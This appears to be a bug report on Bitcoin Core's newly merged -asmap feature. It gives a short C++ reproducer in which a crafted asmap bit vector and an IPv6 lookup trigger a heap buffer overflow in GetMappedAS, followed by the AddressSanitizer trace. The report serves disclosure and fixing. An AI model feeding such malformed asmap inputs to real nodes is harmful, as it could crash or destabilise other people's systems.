Very glad to see that -asmap
was merged yesterday!
I noticed that it is possible to trigger a heap buffer-overflow when doing a GetMappedAS(...)
lookup on an IPv6 address against a maliciously constructed AS-map.
Looking up the mapped AS-number for IPv6 address dead:dead:dead:dead:dead:dead:dead:dead
…
0CNetAddr net_addr;
1const std::vector<uint8_t> b = {222, 173, 222, 173, 222, 173, 222, 173, 222, 173, 222, 173, 222, 173, 222, 173};
2net_addr.SetRaw(NET_IPV6, b.data());
3assert(net_addr.ToString() == "dead:dead:dead:dead:dead:dead:dead:dead");
4const std::vector<bool> asmap = {true, true, true, true, false, true, false, false};
5(void)net_addr.GetMappedAS(asmap);
… yields …
0==957==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000001a0 at pc 0x55aef2adf02a bp 0x7ffdbab92400 sp 0x7ffdbab923f8
1READ of size 8 at 0x6020000001a0 thread T0
2 [#0](/bitcoin-bitcoin/0/) 0x55aef2adf029 in std::_Bit_reference::operator bool() const /usr/lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/stl_bvector.h:83:17
3 [#1](/bitcoin-bitcoin/1/) 0x55aef2adedf6 in std::_Bit_const_iterator::operator*() const /usr/lib/gcc/x86_64-linux-gnu/8/../../../../include/c++/8/bits/stl_bvector.h:323:14
4 [#2](/bitcoin-bitcoin/2/) 0x55aef2ade2ac in (anonymous namespace)::DecodeBits(std::_Bit_const_iterator&, unsigned char, std::vector<unsigned char, std::allocator<unsigned char> > const&) src/util/asmap.cpp:18:19
5 [#3](/bitcoin-bitcoin/3/) 0x55aef2add49e in (anonymous namespace)::DecodeType(std::_Bit_const_iterator&) src/util/asmap.cpp:40:12
6 [#4](/bitcoin-bitcoin/4/) 0x55aef2add49e in Interpret(std::vector<bool, std::allocator<bool> > const&, std::vector<bool, std::allocator<bool> > const&) src/util/asmap.cpp:73:18
7 [#5](/bitcoin-bitcoin/5/) 0x560f2052b833 in CNetAddr::GetMappedAS(std::vector<bool, std::allocator<bool> > const&) const src/netaddress.cpp:433:26